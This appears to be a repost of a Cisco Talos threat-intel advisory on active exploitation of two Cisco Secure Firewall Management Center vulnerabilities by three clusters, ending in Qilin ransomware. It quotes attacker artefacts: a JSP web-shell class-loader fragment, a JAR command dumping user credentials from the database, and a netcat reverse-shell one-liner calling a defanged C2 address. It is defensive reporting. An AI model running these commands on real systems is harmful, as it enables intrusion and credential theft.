news.mlab.sh
Back to the feed
threat-intel

Active exploitation of Cisco Secure Firewall Management Center vulnerabilities

CriticalCVSS 10.0
Summary

Cisco Talos is actively tracking exploitation of two vulnerabilities in Cisco Secure Firewall Management Center (FMC) Software. CVE-2026-20079 allows unauthenticated remote access and execution of scripts, while CVE-2026-20316 enables login with a low-privileged account. These vulnerabilities have been actively exploited by a range of threat actors, including state-sponsored groups (Sandworm) and ransomware operators (Qilin). The attacks involved deploying web shells, a modular ELF implant (Cyclops Blink), and ultimately ransomware deployment, highlighting a sophisticated and multi-stage attack campaign.

Cisco Talos is actively tracking the exploitation of two vulnerabilities in Cisco Secure Firewall Management Center (FMC) Software. First, CVE-2026-20079 is an authentication bypass vulnerability in unpatched instances of Cisco’s Secure FMC Software, which allows an unauthenticated, remote attacker to bypass authentications and execute scripts on impacted devices to obtain root access to the underlying operating system. Second, CVE-2026-20316 is a vulnerability that allows a remote attacker to log in using a low-privileged account.

CVE-2026-20079 has a CVSS score of 10.0, indicating a critical risk. Customers are strongly advised to follow Cisco’s guidance provided in the security advisory and apply the security patches previously made available. CVE-2026-20316 has a CVSS score of 5.3, however it can be used with other Cisco Secure FMC vulnerabilities to elevate privileges.

Due to Talos identifying in the wild abuse of these CVE’s, customers are strongly advised to apply hotfixes for affected software versions already released by Cisco for CVE-2026-20079 and CVE-2026-20316. A comprehensive hardening release consisting of these hotfixes along with other internally discovered vulnerabilities will be released next week (Week of September 16th).

Talos’ analysis illustrates three clusters of post-compromise activity on FMC instances. The first cluster, tracked as UAT-12197, involves the exploitation of CVE-2026-20079, leading to the deployment of a malicious web shell in the CSM Tomcat webroot directory. The web shell is JSP-based and Base64 decodes a parameter labelled “F6C1F0E7”, consisting of the class name to load in the JAVA process: `<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } }%> The web shell was used to place a malicious JAR file in the same directory. The threat actors used the JAR file (“cmd[.]jar”) to query the compromised systems’ internal databases to obtain user authentication data and credentials: `/var/jre/bin/java -jar cmd.jar '/var/sf/bin/OmniQuery.pl -db mdb -e 'SELECT name, auth_data FROM users;''/`. The JAR file is basically a command executor that obtains the command to be executed from its command line and executes it using /bin/sh -c <command>.

The second intrusion cluster, attributed to UAT-11823, an advanced persistent threat (APT) actor, overlaps in tooling with the Sandworm APT actor. The threat actor obtained initial access to compromised systems by either exploiting CVE-2026-20079 or via static credentials. After obtaining access, UAT-11823 subsequently updated the “license.tmp” file on disk (using Makeself) with a malicious copy to establish a Netcat-based reverse shell to their own command-and-control (C2) server: `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 208[.]123[.]119[.]215 3090 >/tmp/f`. This license file essentially acted as a Makeself package that was then executed via the installation process (as root) by the “package_info[.]pl” utility: `/usr/local/sf/bin/package_info.pl /var/tmp/license.tmp --lsm`.

This mechanism of deploying malicious package files is likely an indicator of the exploitation of CVE-2026-20316, a vulnerability that allows a remote attacker to log in using a low-privileged account. Talos assesses with high confidence that the attackers exploited CVE-2026-20079 and CVE-2026-20316.

Cluster #2 also involved configuration exfiltration, with the threat actor staging a SOCKS proxy and reverse-SSH tunnel to forward ports from internal hosts back to their own infrastructure. The threat actor conducted extensive reconnaissance of endpoints in the victim’s environment, deployed open-source tooling such as impacket, Invoke-TheHash, and custom-made AV killers — all followed by the deployment of the Qilin ransomware on selected endpoints.

Finally, a third cluster of activity entailed a ransomware operator (tracked as UAT-11988) logging into an FMC device with static credentials (CVE-2026-20316), performing extensive reconnaissance, domain enumerations, credential theft, and building a list of target endpoints within the compromised organization for encryption. The threat actor also staged a SOCKS proxy and reverse-SSH tunnel to forward ports from internal hosts back to their own infrastructure. Once all these preliminary actions were completed, the operator began conducting additional probes within the compromised network, deploying antivirus (AV) killers and ultimately the Qilin ransomware family.

Indicators of compromise (IOCs) are available on our GitHub repository. Customers are strongly advised to apply the referenced hotfixes as soon as possible, pending the hardening release.

Read the full article at Cisco Talos